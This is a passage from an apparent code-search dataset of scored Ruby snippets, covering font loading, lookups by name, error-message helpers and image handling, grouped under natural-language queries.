"text": "def load_font(name, size)\n @loaded_fonts[name] ||= {}\n return @loaded_fonts[name][size] if @loaded_fonts[name][size]\n begin\n #full_name = File.expand_path(FONTS_PATH + name)\n full_name = FONTS_PATH + name\n if File.exist? full_name\n font = Font.new(@window, full_name, size)\n @loaded_fonts[name][size] = font\n else\n #full_name = File.expand_path(GAMEBOX_FONTS_PATH + name)\n full_name = GAMEBOX_FONTS_PATH + name\n font = Font.new(@window, full_name, size)\n @loaded_fonts[name][size] = font\n end\n return font\n rescue Exception => ex\n puts \"Cannot load font #{full_name}:#{ex}\"\n end\n return nil\n end",
"title": ""
},
{
"docid": "6e38bd9e7a27ca24a1cca36c413027b2",
"score": "0.49031615",
"text": "def get_loader(name)\n @loaders.each do |loader|\n return loader if loader.name == name\n end\n end",
"title": ""
},
{
"docid": "5adb6b94abc1fac7c41b8d7e38f717d8",
"score": "0.48817185",
"text": "def iname\n attributes['name']\n end",
"title": ""
},
{
"docid": "5adb6b94abc1fac7c41b8d7e38f717d8",
"score": "0.48817185",
"text": "def iname\n attributes['name']\n end",
"title": ""
},
{
"docid": "5adb6b94abc1fac7c41b8d7e38f717d8",
"score": "0.48817185",
"text": "def iname\n attributes['name']\n end",
"title": ""
},
{
"docid": "2e600e3e8adee7f33b084d1b6e64480c",
"score": "0.4879717",
"text": "def item_by_name\n IITVisual.new(@ole.ItemByName)\n end",
"title": ""
},
{
"docid": "5361d0e441e0a82454864a583fc60ded",
"score": "0.48722386",
"text": "def name\n @info.name\n end",
"title": ""
},
{
"docid": "2691bb92f0d5dcbeab8ca58f74429d57",
"score": "0.4869768",
"text": "def find_watermark_text_by_name(name)\n Sketchup.active_model.entities.each { |e|\n return e if e.is_a?(Sketchup::Text) && e.get_attribute('MSPhysics', 'Name') == name.to_s\n }\n nil\n end",
"title": ""
},
{
"docid": "610743e2a248f177babdb1e5fe2f4fba",
"score": "0.48604068",
"text": "def get_sr_by_name(name)\n sr_ref = xapi.SR.get_by_name_label(name)\n if sr_ref.empty? or sr_ref.nil?\n ui.error \"SR name #{h.color( name ) } not found\"\n return nil\n end\n sr = xapi.SR.get_record( sr_ref )\n end",
"title": ""
},
{
"docid": "40982e7c01a120b9ef75226f545d924d",
"score": "0.48389438",
"text": "def findPageNamed(name)\n return unless name.is_a?(String)\n Sketchup.active_model.pages.each { |p|\n return p if p.name.casecmp(name) == 0\n }\n nil\n end",
"title": ""
},
{
"docid": "359bf8ab57b227624a3f4ed9a6356020",
"score": "0.48252043",
"text": "def theme_css(name)\n \"themes/#{name}/style\"\n end",
"title": ""
},
{
"docid": "f47a0ab437933cf979849c9320e4eb7c",
"score": "0.48094028",
"text": "def [](name)\n self.class._mwares[name]\n end",
"title": ""
},
{
"docid": "c97e4fc4f458032f76b8726eabf8130d",
"score": "0.4808158",
"text": "def script name\n @__client.scripts.find { |script| script.__name == name }\n end",
"title": ""
},
{
"docid": "aeded5919d6227e5c49599da90b5eb82",
"score": "0.4808099",
"text": "def search_monster_by_name_json(name)\n\tmonsters = Rails.cache.fetch(\"monster\")\n\tresult = Array.new\n\tmonsters.each do |m|\n\t\tif m[\"name\"].upcase.include? name\n\t\t\ttemp = Hash.new\n\t\t\ttemp[\"name\"] = m[\"name\"]\n\t\t\ttemp[\"id\"] = m[\"id\"]\n\t\t\ttemp[\"img_url\"] = m[\"image60_href\"]\n\t\t\tresult.push(temp)\n\t\tend\n\tend\n\treturn result\n end",
"title": ""
},
{
"docid": "dc81c0e1f58d56d6d6735d00a543ceba",
"score": "0.4807398",
"text": "def get(name)\n return {} if name.blank?\n\n all.detect { |a| a[\"name\"] == name }\n end",
"title": ""
},
{
"docid": "d3e0ded41fd0fc10966e2440f38aa8a3",
"score": "0.47974858",
"text": "def update_windowskin\n mso_windowskin = current_windowskin_settings()\n \n self.windowskin = Cache.windows(mso_windowskin[1])\n self.opacity = mso_windowskin[2]\n self.back_opacity = mso_windowskin[3]\n end",
"title": ""
},
{
"docid": "d3e0ded41fd0fc10966e2440f38aa8a3",
"score": "0.47974858",
"text": "def update_windowskin\n mso_windowskin = current_windowskin_settings()\n \n self.windowskin = Cache.windows(mso_windowskin[1])\n self.opacity = mso_windowskin[2]\n self.back_opacity = mso_windowskin[3]\n end",
"title": ""
},
{
"docid": "ef6ea475d8a57d074f31c29b24c21890",
"score": "0.47955877",
"text": "def get_object(name)\n gtk_builder_get_object(@builder, name)\n end",
"title": ""
},
{
"docid": "05aa96dc72743ca99f342fb48621f064",
"score": "0.47943538",
"text": "def find(name)\n Template.find(name)\n end",
"title": ""
},
{
"docid": "8d07d2accd1c3695735fb5593b394c31",
"score": "0.47846696",
"text": "def load name\n @name = name\n data = Oj.load File.read(name)\n old_data = as_json\n \n ATTRIBUTES.each do |attr|\n unless data.has_key? attr\n data = old_data\n puts \"data #{name} cannot be loaded, #{attr} not found in JSON...\"\n break\n end\n end\n \n @pixels = data['pixels']\n @width = data['width']\n @height = data['height']\n end",
"title": ""
},
{
"docid": "c5ce6c043ad6d5deacc820cb1743e431",
"score": "0.4783582",
"text": "def get_item(item_name)\n return @menu[item_name]\n end",
"title": ""
},
{
"docid": "0799a74078568804295516139bae3909",
"score": "0.478268",
"text": "def name() ; info[:name] ; end",
"title": ""
},
{
"docid": "8a743e7da284cd33e72eeed8716c9c88",
"score": "0.47800642",
"text": "def [](name)\n resources[name]\n end",
"title": ""
},
{
"docid": "20903b213732937111342e63b61145c1",
"score": "0.47697794",
"text": "def name\n fetch('bank.name')\n end",
"title": ""
},
{
"docid": "3c73e65a021717507e62550829643329",
"score": "0.47692004",
"text": "def get_sr_by_name(name)\n sr_ref = xapi.SR.get_by_name_label(name)[0]\n if sr_ref.empty? || sr_ref.nil?\n ui.error \"SR name #{h.color(name) } not found\"\n return nil\n end\n sr_ref\n end",
"title": ""
},
{
"docid": "4e3e43a5170886fa7ff2cf0be4a616de",
"score": "0.47670317",
"text": "def show(name)\n @current_image = @files.detect do |path|\n path.basename.to_s.\n sub(/^\\d+-/, '').\n sub(/\\.(?:png|jpg)$/, '') == name.to_s\n end\n end",
"title": ""
},
{
"docid": "7ec94bf99c72d71f470b32ebfc44cec8",
"score": "0.4752215",
"text": "def [](name)\n _mwares[name]\n end",
"title": ""
},
{
"docid": "7b68aeeaa69c8a58ccfd31075e29c752",
"score": "0.47496185",
"text": "def [](name)\n @resources[name]\n end",
"title": ""
},
{
"docid": "8e7311b244bde40a708c0b530ae0f1be",
"score": "0.474607",
"text": "def name\n @doc.css('map').attr('name').value\n end",
"title": ""
},
{
"docid": "f62eefbd522a71e27885240ca3febb08",
"score": "0.47406197",
"text": "def get(name)\n @config[name]\n end",
"title": ""
},
{
"docid": "8d08c7ec8ac08a93a3bb886ff5752b9d",
"score": "0.47389078",
"text": "def getProdbyName(name)\n prod = @@products.find { |p| p.name == name }\n if prod.nil?\n puts \"Oh! Looks like there are No Products registered with Name : #{name}\"\n else\n puts \"Product Details for : #{name}\"\n puts \"\\n (*) Product Name : #{prod.name}\"\n puts \" (*) Units in Stock : #{prod.units}\"\n puts \" (*) Per Unit Price : Rs. #{prod.price} INR\"\n puts \" (*) Minimum Stock Units : #{prod.min_stock}\"\n puts \" (*) Maximum Stock Units : #{prod.max_stock}\"\n end\n end",
"title": ""
},
{
"docid": "730e583e944b79da40be04077d303409",
"score": "0.47370988",
"text": "def get_sprite_named(sprite_name, opts)\n if @sprites[sprite_name].nil?\n @sprites[sprite_name] = {\n :name => sprite_name,\n :slices => [],\n :has_generated => false,\n\n # The sprite will use horizontal layout under repeat-y, where images\n # must stretch all the way from the top to the bottom\n :use_horizontal_layout => opts[:horizontal_layout]\n\n }\n end\n end",
"title": ""
},
{
"docid": "352752bac1173d05d288c637af971d73",
"score": "0.4732145",
"text": "def show\n @table = params[:name]\n end",
"title": ""
},
{
"docid": "9ee9d10f136285cd489241aadf502da4",
"score": "0.4725564",
"text": "def item_by_name\n IITEQPreset.new(@ole.ItemByName)\n end",
"title": ""
},
{
"docid": "85a4a4fcfb9f01b3b5a9101a4fe37a2c",
"score": "0.47181717",
"text": "def get(name); end",
"title": ""
},
{
"docid": "5938a0fe01508454779e9f9c2c64f026",
"score": "0.47066116",
"text": "def get_plugin(name); Ricer::Plugin.by_name(name); end",
"title": ""
},
{
"docid": "e32be45e885f1efc106d88314fe7aeb7",
"score": "0.4705504",
"text": "def getNamedItem(name)\n node.getAttributeNode(name)\n end",
"title": ""
},
{
"docid": "55655e86e47dec411c9c4d2f5d5351e1",
"score": "0.4705426",
"text": "def getStyleName\n styleNameHelper(MODE_GET)\n end",
"title": ""
},
{
"docid": "7dfa17aa7514d283a12e289c61f5be8f",
"score": "0.47024608",
"text": "def form_skin_shared_secret_by_code(skin_code)\n if skin = form_skin_by_code(skin_code)\n skin[:shared_secret]\n end\n end",
"title": ""
},
{
"docid": "d3d785dff9e0a4c05649c4462c384c6d",
"score": "0.47010595",
"text": "def contents_by_name(name)\n contents.select { |content| content.name == name.to_s }\n end",
"title": ""
},
{
"docid": "9d5a6ff7351881f226349e867cf0a0ac",
"score": "0.46942014",
"text": "def name\n object[\"name\"]\n end",
"title": ""
},
{
"docid": "140805ebcac2f224ebf2a7e3121f541e",
"score": "0.4693537",
"text": "def parseSkins(section)\n skins = Array.new\n @fields[section].each do |skin|\n skins << skin[0].to_i\n end\n return skins\n end",
"title": ""
},
{
"docid": "48efef5f8edd285373ee9b0bceaf2e1c",
"score": "0.46916243",
"text": "def find_by_name(name)\n types[name]\n end",
"title": ""
},
{
"docid": "d58f359f2ecdc5f9b6a18089b7fbc062",
"score": "0.46887264",
"text": "def name\n @elements[:name]\n end",
"title": ""
},
{
"docid": "5e716fef8748933c06ef5420cd82f795",
"score": "0.46871078",
"text": "def get_by_name(name)\n return @field_weights.detect { |field| field.name == name } \n end",
"title": ""
},
{
"docid": "acafa6c652b71918f62d7876bf5883d3",
"score": "0.46865997",
"text": "def plugin(name)\n @plugins[name]\n end",
"title": ""
},
{
"docid": "e0e8ee585e8511fd3caed99b87acda5f",
"score": "0.46857864",
"text": "def name\n names[0]\n end",
"title": ""
}
] |
1707c473d4736160944ec21fa3e9330b
|
/ last Retourne le dernier message d'erreur
|
[
{
"docid": "330d6e6cc8b592a6e0cf1c904a8eda1e",
"score": "0.7118204",
"text": "def last_error\n (@errors || []).last\n end",
"title": ""
}
] |
[
{
"docid": "0ecbee4d3c3b9f122e42ddc3a6c02c15",
"score": "0.80415213",
"text": "def error\n @last_error ||= \"[LaTexBook] Aucune erreur rencontrée\"\n end",
"title": ""
},
{
"docid": "374bbfd18c714fb6460b5a8001223d05",
"score": "0.77027154",
"text": "def last_error\n @messages.last\n end",
"title": ""
},
{
"docid": "7f2fe48e070abaab522d0156dcd1fa7c",
"score": "0.73109657",
"text": "def error_msgs\n msg = \"Não foi possível atualizar os dados pessoais. \"\n @pessoa.errors.full_messages.each do |err|\n msg = msg + err + \". \"\n end\n msg\n end",
"title": ""
},
{
"docid": "f3da56ad62e026862a8ccf71b14c8d0f",
"score": "0.723595",
"text": "def last_error; end",
"title": ""
},
{
"docid": "eba99e2111697fdc9b321d4f3c0d30cd",
"score": "0.7203373",
"text": "def last_error\n @error\n end",
"title": ""
},
{
"docid": "63c514aa2b075904cdfc159bbeb9cf2b",
"score": "0.7008682",
"text": "def last_error\n talk('GET-LAST-ERROR')\n end",
"title": ""
},
{
"docid": "5994abe0951e36b0a678dc8736a95bc9",
"score": "0.69730467",
"text": "def message \n\t\t\t\"#{self.object.errors.first[1]}\"\n\t\tend",
"title": ""
},
{
"docid": "c8d93ec8bb0ba2ecc6fb80911a67239b",
"score": "0.6964885",
"text": "def message \n\t\t\"#{self.object.errors.first[1]}\"\n\tend",
"title": ""
},
{
"docid": "155c7b9522af37b232031d7e198756d1",
"score": "0.68671775",
"text": "def error\n @last_error && @last_error.error\n end",
"title": ""
},
{
"docid": "75481c7c9bcca6bfa99a78452b107255",
"score": "0.6850031",
"text": "def last_error\n synchronize { @last_error }\n end",
"title": ""
},
{
"docid": "75481c7c9bcca6bfa99a78452b107255",
"score": "0.6850031",
"text": "def last_error\n synchronize { @last_error }\n end",
"title": ""
},
{
"docid": "df6265dcd32e3e6e5418b12279744669",
"score": "0.6713506",
"text": "def message\n @errormsg\n end",
"title": ""
},
{
"docid": "1ea4f488626f04b310be55372ff3c777",
"score": "0.6706894",
"text": "def printErreur(e)\n case e[0]\n when :NB_LIGNES_INCORRECT\n print \"Erreur\\n\", \" - Sur : [#{e[1]};#{e[2]}]\\n - \", e[3], \"\\n\"\n when :LIGNE_PLEINE_NON_VALIDE\n print \"Erreur\\n\", \" - Sur : [#{e[1]};#{e[2]}] -> #{e[3]}\\n - \", e[4], \"\\n\"\n when :LIGNE_PLEINE_NON_PRESENTE\n print \"Erreur\\n\", \" - Sur : [#{e[1]};#{e[2]}] -> #{e[3]}\\n - \", e[4], \"\\n\"\n else\n print \"Erreur\\n\", \" - Sur : [#{e[1]};#{e[2]}]\\n - \", e[3], \"\\n\"\n end\n end",
"title": ""
},
{
"docid": "d3651886239bcd7a5bc1b3694437594e",
"score": "0.6681677",
"text": "def error_message\n if status == 'Completed'\n '0000 - Operación Aceptada'\n else\n params['coderror'].to_s + ' - ' + params['descerror'].to_s\n end\n end",
"title": ""
},
{
"docid": "911cefe11728665d7d93b2d7b15e3b80",
"score": "0.6669804",
"text": "def failure_message\n @errors[0]\n end",
"title": ""
},
{
"docid": "911cefe11728665d7d93b2d7b15e3b80",
"score": "0.6669804",
"text": "def failure_message\n @errors[0]\n end",
"title": ""
},
{
"docid": "e7b528c99c70d4a27448a15e4084e88c",
"score": "0.6642451",
"text": "def last_error\n err = UV.last_error(default_loop)\n name = UV.err_name(err)\n msg = UV.strerror(err)\n [name, msg]\n end",
"title": ""
},
{
"docid": "89dabd30714c521d47b9718466e4e955",
"score": "0.6633881",
"text": "def error\n doc = db_command(:getlasterror => 1)\n raise \"error retrieving last error: #{doc}\" unless ok?(doc)\n doc['err']\n end",
"title": ""
},
{
"docid": "1d9238213c6f12edcafc5b983989270c",
"score": "0.6618362",
"text": "def error_message; end",
"title": ""
},
{
"docid": "1d9238213c6f12edcafc5b983989270c",
"score": "0.6618362",
"text": "def error_message; end",
"title": ""
},
{
"docid": "1d9238213c6f12edcafc5b983989270c",
"score": "0.6618362",
"text": "def error_message; end",
"title": ""
},
{
"docid": "1d9238213c6f12edcafc5b983989270c",
"score": "0.6618362",
"text": "def error_message; end",
"title": ""
},
{
"docid": "edb040f1a97a0385d092b4a6b67e3073",
"score": "0.66007614",
"text": "def message_for_this_error\n ''\n end",
"title": ""
},
{
"docid": "5c0bed510cdb44b4a6ab1af375493960",
"score": "0.6594238",
"text": "def errmsg(message); end",
"title": ""
},
{
"docid": "f9c5f34b6fb44c9a9ea450dffadab49b",
"score": "0.65864855",
"text": "def msg\n 'error processing'\n end",
"title": ""
},
{
"docid": "94b7a1738540697d1b15191d60f144e3",
"score": "0.6584233",
"text": "def err\n @backend.lasterr\n end",
"title": ""
},
{
"docid": "7842a486b98107b45a311ece796fd0bf",
"score": "0.65763944",
"text": "def get_error_msg\n errorMsg = \"\"\n errors.each_full do |message|\n errorMsg << message\n end\n return errorMsg\n end",
"title": ""
},
{
"docid": "f4269817532dbc0030ff89b0a9fcc8fd",
"score": "0.6566896",
"text": "def error_message\n\t\t\t@error_message\n\t\tend",
"title": ""
},
{
"docid": "2d53c45bbcf7dc9968bc87bf1181803d",
"score": "0.655634",
"text": "def error\n unless success?\n self['messages']['generalMessages'].map do |m|\n m['messageText'] if m['messageCriticality'] == 'error'\n end.compact.join(\"\\n\")\n end\n end",
"title": ""
},
{
"docid": "f1dd3e500d7f3c478d4e1f4da8cff106",
"score": "0.6554378",
"text": "def get_error_message\n error_msg = \"\"\n self.errors.full_messages.each do |msg|\n if error_msg != \"\"\n error_msg << \"<br>\"\n end\n error_msg << msg\n end\n\n error_msg\n end",
"title": ""
},
{
"docid": "f476176f62df33c5600e3bddec20549c",
"score": "0.6548665",
"text": "def error\n\t\t\t\t\"\"\n\t\t\tend",
"title": ""
},
{
"docid": "b27d1eaff9e5778abd7b75b8c8e14e82",
"score": "0.65425247",
"text": "def error\n\tputs \" - Désolé #{@name}, ce n'est pas possible, rejoue ! \"\n\tputs \" \"\n end",
"title": ""
},
{
"docid": "05b345033d891029fb25072c3b992ed2",
"score": "0.65354306",
"text": "def last_error\n UV.last_error(@pointer)\n end",
"title": ""
},
{
"docid": "c29117ceeddb5609474ab27a11afc09d",
"score": "0.653212",
"text": "def error message\n Fargo.logger.warn @last_error = message\n\n close_connection\n end",
"title": ""
},
{
"docid": "0b0fd3c87a4bf26d637103a989b71dc1",
"score": "0.6526862",
"text": "def error_message\n\t\t\treturn @error\n\t\tend",
"title": ""
},
{
"docid": "21dad62d206676608a5662619dbd1f98",
"score": "0.65253085",
"text": "def error_message\n\t\t@error_message || ''\n\tend",
"title": ""
},
{
"docid": "59d51782a126a74181f6a22bfbba5bb2",
"score": "0.6514102",
"text": "def message \n \"#{self.object.errors.first.message}\"\n end",
"title": ""
},
{
"docid": "3e6f1bf3e468905254ee4766b904f733",
"score": "0.651075",
"text": "def message\n registration.errors.full_messages.first\n end",
"title": ""
},
{
"docid": "e8a8ed11db07fdc4ad8167486e414942",
"score": "0.6506353",
"text": "def last_internal_error=(_arg0); end",
"title": ""
},
{
"docid": "e8a8ed11db07fdc4ad8167486e414942",
"score": "0.6506353",
"text": "def last_internal_error=(_arg0); end",
"title": ""
},
{
"docid": "40a8144526db2ab7c9d99dbed7f74cd2",
"score": "0.6503396",
"text": "def error(what)\r\n\t\t\tmessage 'ERROR: ' + what.to_s, :error\r\n\t\tend",
"title": ""
},
{
"docid": "6199e95ab79d884b41b016f65b0ea651",
"score": "0.65008754",
"text": "def error_messages\n raise \"not implemented yet\" \n end",
"title": ""
},
{
"docid": "8439dc7e2860c0b4c92a049b19f50392",
"score": "0.64969087",
"text": "def error_message()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "8439dc7e2860c0b4c92a049b19f50392",
"score": "0.64969087",
"text": "def error_message()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "3905e8d1004f448093ebbb2daa99cb4e",
"score": "0.6495011",
"text": "def error_text; end",
"title": ""
},
{
"docid": "8f25f58c0470d19321aadd411ececaf1",
"score": "0.64841574",
"text": "def error(message); end",
"title": ""
},
{
"docid": "44c4c3944a2a2727b5ac74aa5abb687e",
"score": "0.6457585",
"text": "def full_messages\n @errors.inject([]) do |list,pair|\n list += pair.last\n end\n end",
"title": ""
},
{
"docid": "0ff109e077cb8d945367b19b7f963b02",
"score": "0.64572835",
"text": "def error_message\r\n msg = []\r\n self.errors.messages.each do |k,v|\r\n v.each do |e|\r\n msg.push(\"#{k} #{e}\")\r\n end\r\n end\r\n msg\r\n end",
"title": ""
},
{
"docid": "3b7b88568efcf763bb7d944a5dfd69f9",
"score": "0.64527047",
"text": "def failure_message\n unmet_expecations_messages << errors.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "b1cf68615e69e2289232c0d25de2b5f5",
"score": "0.64487827",
"text": "def page_when_erreur(e)\n \"Une erreur est malheureusement survenue : #{e.message}…\".in_p(class: 'warning')\n end",
"title": ""
},
{
"docid": "fc9e10d82566807bc13f81d903408756",
"score": "0.6444336",
"text": "def error_parab; Minuit.errs(@id)[2]; end",
"title": ""
},
{
"docid": "85cca7d398a345210960b9c36fbe259c",
"score": "0.6437032",
"text": "def geterrormessage()\r\n return @errormessage\r\n end",
"title": ""
},
{
"docid": "88574a05d7119d21e9e54deed927ad03",
"score": "0.64311427",
"text": "def error_output\r\n last.error_output\r\n end",
"title": ""
},
{
"docid": "3895abbd27e5b8c4553bc57f7fca50f6",
"score": "0.64181703",
"text": "def add_account_errors\n flash_errors[0].text\n end",
"title": ""
},
{
"docid": "3b06756f3519e3e0e80eb7241497d311",
"score": "0.6412145",
"text": "def last_internal_error; end",
"title": ""
},
{
"docid": "3b06756f3519e3e0e80eb7241497d311",
"score": "0.6412145",
"text": "def last_internal_error; end",
"title": ""
},
{
"docid": "a393ced630a0713df0299c06a1fde9bf",
"score": "0.6370387",
"text": "def errors\n Thread.current[:rapporteur_errors] ||= MessageList.new(:errors)\n end",
"title": ""
},
{
"docid": "0c04924387ef1d7b6ec5d13a7c157ab4",
"score": "0.6363008",
"text": "def nbErreur()\n return @erreurs.size()\n end",
"title": ""
},
{
"docid": "7e8a7f60a98637d211977242ab902224",
"score": "0.63582677",
"text": "def full_messages\n errors.inject([]) do |list,pair|\n list += pair.last\n end\n end",
"title": ""
},
{
"docid": "2669bcff64d616c34ed30638a2d76fc8",
"score": "0.63361543",
"text": "def la_page_a_l_erreur err, options = nil\n options ||= Hash.new\n ajax = options[:ajax] == true\n options.merge!(text: /#{Regexp.escape err}/)\n hasflash, haserror = nil, nil\n # On attend 10 secondes qu'un message s'affiche\n tr = 0; while (tr += 1) < 10\n hasflash = cpage.has_css?('div#flash', options)\n haserror = cpage.has_css?('div.warning', options)\n ( hasflash || haserror )? break : (sleep 0.5)\n end\n if hasflash\n options.merge!(class: 'error', in: 'div#flash')\n options[:success] ||= \"La page affiche le message d'erreur flash “#{err}”.\"\n la_page_a_la_balise 'div', options\n elsif haserror\n options.merge!(class: 'warning')\n options[:success] ||= \"La page affiche le message warning “#{err}”.\"\n la_page_a_la_balise 'div', options\n else\n raise \"La page ne contient pas le message d’erreur attendu “#{err}”…\"\n end\nend",
"title": ""
},
{
"docid": "1d621ac69d973cb9f84bef3fa540f7ca",
"score": "0.6320112",
"text": "def error\n # Initialize a nil value to something meaningful\n @error ||= ''\n @error\n end",
"title": ""
},
{
"docid": "7452106ac6b64798a397a8e6a2911679",
"score": "0.63129157",
"text": "def message\n self.error[:message]\n end",
"title": ""
},
{
"docid": "d7d7e09486914f7cbeb6bce92c023d56",
"score": "0.63031375",
"text": "def error_message\n \"after #{@message_count} requests on #{@connection.object_id}\"\n end",
"title": ""
},
{
"docid": "1f715fceb885acafcf14bf6a4f955ce8",
"score": "0.6302779",
"text": "def last_error\n @functions[__method__] ||= AU3_Function.new(\"error\", '', 'L')\n @functions[__method__].call\n end",
"title": ""
},
{
"docid": "146b342c4406f9653404ba94f9a1f337",
"score": "0.63021946",
"text": "def error\n errors.first\n end",
"title": ""
},
{
"docid": "26f53be90d5553d9f57f22824c988f69",
"score": "0.6298642",
"text": "def full_messages\n errors.inject([]) do |list, pair|\n list += pair.last\n end\n end",
"title": ""
},
{
"docid": "26f53be90d5553d9f57f22824c988f69",
"score": "0.6298642",
"text": "def full_messages\n errors.inject([]) do |list, pair|\n list += pair.last\n end\n end",
"title": ""
},
{
"docid": "3ed7807c1a9d1f40db2eec1bc95d0d97",
"score": "0.62952816",
"text": "def wizard_error_message\n message = self.wizard_model.errors.full_messages.collect {|msg| msg + '<br />'} unless self.wizard_model.errors.empty?\n return message\n end",
"title": ""
},
{
"docid": "53a50faec7522d3c89ff538e1cffa652",
"score": "0.62924945",
"text": "def message\n errors.message\n end",
"title": ""
},
{
"docid": "e7ff5457ac70b985a81ecbec02865f33",
"score": "0.6288236",
"text": "def last_error_info\n @error_info || {}\n end",
"title": ""
},
{
"docid": "f2a4f0c90ff34b9182edf6b9914e2604",
"score": "0.6284263",
"text": "def verifErreur()\n self.grille.grille.each{ |ligne|\n ligne.each{ |cases|\n if !self.verifCase(cases) \n @erreur += 1\n @locErreur.push([cases.ligne,cases.colonne])\n end\n }\n }\n end",
"title": ""
},
{
"docid": "535c7df8e86c2bf0543181a31f78cdd8",
"score": "0.6272194",
"text": "def error\n return \"\"\n end",
"title": ""
},
{
"docid": "304d91d0996f3a9fbd7264289e6746e0",
"score": "0.6264681",
"text": "def err_message\n return unless @geoset.err_message.present?\n\n flash[:notice] = nil\n flash[:alert] = @geoset.err_message\n end",
"title": ""
},
{
"docid": "89fd7859ed037d333f3d1b39cc5c119b",
"score": "0.626308",
"text": "def error; end",
"title": ""
},
{
"docid": "89fd7859ed037d333f3d1b39cc5c119b",
"score": "0.626308",
"text": "def error; end",
"title": ""
},
{
"docid": "89fd7859ed037d333f3d1b39cc5c119b",
"score": "0.626308",
"text": "def error; end",
"title": ""
},
{
"docid": "89fd7859ed037d333f3d1b39cc5c119b",
"score": "0.626308",
"text": "def error; end",
"title": ""
},
{
"docid": "89fd7859ed037d333f3d1b39cc5c119b",
"score": "0.626308",
"text": "def error; end",
"title": ""
},
{
"docid": "89fd7859ed037d333f3d1b39cc5c119b",
"score": "0.626308",
"text": "def error; end",
"title": ""
},
{
"docid": "89fd7859ed037d333f3d1b39cc5c119b",
"score": "0.626308",
"text": "def error; end",
"title": ""
},
{
"docid": "89fd7859ed037d333f3d1b39cc5c119b",
"score": "0.626308",
"text": "def error; end",
"title": ""
},
{
"docid": "89fd7859ed037d333f3d1b39cc5c119b",
"score": "0.626308",
"text": "def error; end",
"title": ""
},
{
"docid": "89fd7859ed037d333f3d1b39cc5c119b",
"score": "0.626308",
"text": "def error; end",
"title": ""
},
{
"docid": "89fd7859ed037d333f3d1b39cc5c119b",
"score": "0.626308",
"text": "def error; end",
"title": ""
},
{
"docid": "90be0e7fb2fd573594618200c09d8cd4",
"score": "0.625552",
"text": "def error\r\n #initialize nil values to something meaningful\r\n @error||=\"\"\r\n return @error\r\n end",
"title": ""
},
{
"docid": "2140bd14893435d97080cf605279bcc4",
"score": "0.6254777",
"text": "def error_message=(_arg0); end",
"title": ""
},
{
"docid": "7e9d3081536f26e90c7bd9743567c998",
"score": "0.62536603",
"text": "def display_error_message(ex); end",
"title": ""
},
{
"docid": "1b64528b6609c7626c0c55528440f3f4",
"score": "0.62509805",
"text": "def err_mex \n flash.now[:notice] = \"Non sei il possessore di questo feed e non detieni i privilegi per alterarlo!\" \t\t\t\n render \"show\"\n end",
"title": ""
},
{
"docid": "2494d01cba52647abce5a783e959263a",
"score": "0.62499",
"text": "def last_exception; end",
"title": ""
},
{
"docid": "2494d01cba52647abce5a783e959263a",
"score": "0.62499",
"text": "def last_exception; end",
"title": ""
},
{
"docid": "8a81ebb7a21b119fdb4dc6735047bec0",
"score": "0.6243888",
"text": "def previous_error\n error = command(:getpreverror => 1)\n error[\"err\"] ? error : nil\n end",
"title": ""
},
{
"docid": "1f9d9b31e37e1ae8b901640f8f0f7a3c",
"score": "0.622885",
"text": "def error_plus; Minuit.errs(@id)[0]; end",
"title": ""
},
{
"docid": "140840b19c920da07f558533142a9dae",
"score": "0.62277925",
"text": "def errors\n self.messages.select { |error| error[:type] == :error }\n end",
"title": ""
},
{
"docid": "51810918ff10618f0294205a00e717c4",
"score": "0.6221595",
"text": "def erreur( msg )\n fail GV::Exception, msg\nend",
"title": ""
},
{
"docid": "43759c3f84278d110573be0020dec36b",
"score": "0.62153304",
"text": "def error\n @error\n end",
"title": ""
},
{
"docid": "00c32dc242b80bc9dade9fe216614a6a",
"score": "0.62075967",
"text": "def error()\n\t\t#Return error\n\t\t@error\n\tend",
"title": ""
},
{
"docid": "7fb8fd5c995d5343c849510e90688308",
"score": "0.6204175",
"text": "def error!; end",
"title": ""
},
{
"docid": "7fb8fd5c995d5343c849510e90688308",
"score": "0.6204175",
"text": "def error!; end",
"title": ""
},
{
"docid": "229207422080ee96e26e53109249fb65",
"score": "0.6197144",
"text": "def message\n (err && err.message) || 'Unknown error'\n end",
"title": ""
},
{
"docid": "5c2b003aaad67d0fed2487c2b5fc3a43",
"score": "0.61848",
"text": "def messages\n @errors.values.inject([]) { |error_messages, slot| error_messages + slot }\n end",
"title": ""
}
] |
60164a6755350c102b6fdf69b32dd82f
|
extract image's postfix,witch is the format of the special image
|
[
{
"docid": "be495c59b93b7d983c528983ea6affca",
"score": "0.5469138",
"text": "def extract_image_format(img_url)\n format = img_url.scan(/.jpg|.gif|.png/).first if img_url\n return format || '.jpg'\n end",
"title": ""
}
] |
[
{
"docid": "f7ff47ce8cccfdd2e8e7758c83b5398f",
"score": "0.63698584",
"text": "def blanky_image!(input)\n input.gsub!(REGEX_IMAGE) do\n data = $LAST_MATCH_INFO\n b(:bang, data: data) + m(:alt, data: data) + b(:sep, data: data) + b(:src, data: data) + b(:eot, data: data)\n end\n end",
"title": ""
},
{
"docid": "949af3eee33669495606235556f13593",
"score": "0.62614983",
"text": "def extract_png(input, output)\n hdr = input.read(8)\n hex = hdr.unpack(\"C8\")\n if hex != [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]\n puts \"Not a PNG File: #{hex}\"\n return\n end\n output.write(hdr)\n loop do\n chunk_type = extract_chunk(input, output)\n break if chunk_type.nil? || chunk_type == \"IEND\"\n end\nend",
"title": ""
},
{
"docid": "d5ac425f255f2cd1203740063aafd220",
"score": "0.6252875",
"text": "def pn\n \"#{IMAGE_PN % [(index+1), extname]}\"\n end",
"title": ""
},
{
"docid": "76f479fb8dce3bd221b4c58b01433523",
"score": "0.61792487",
"text": "def extract_image(entry)\n @sio.pos = entry[:offset]\n raw = @sio.read(entry[:size])\n if png?(raw)\n raw\n else\n bmp = Bitmapper.new(raw, entry)\n bmp.bitmap\n ChunkyPNG::Image.from_rgba_stream(entry[:width], entry[:height], bmp.to_stream)\n end\n end",
"title": ""
},
{
"docid": "91974b35710cf79125e5d79832f95400",
"score": "0.6105323",
"text": "def image_file_for(alienskin_file)\n if alienskin_file.end_with?(\"x4\")\n File.basename(alienskin_file, \".exposurex4\")\n elsif alienskin_file.end_with?(\"x5\")\n File.basename(alienskin_file, \".exposurex5\")\n end\nend",
"title": ""
},
{
"docid": "fe24c06e7feafe78c4c5cbcadef60ecd",
"score": "0.6097207",
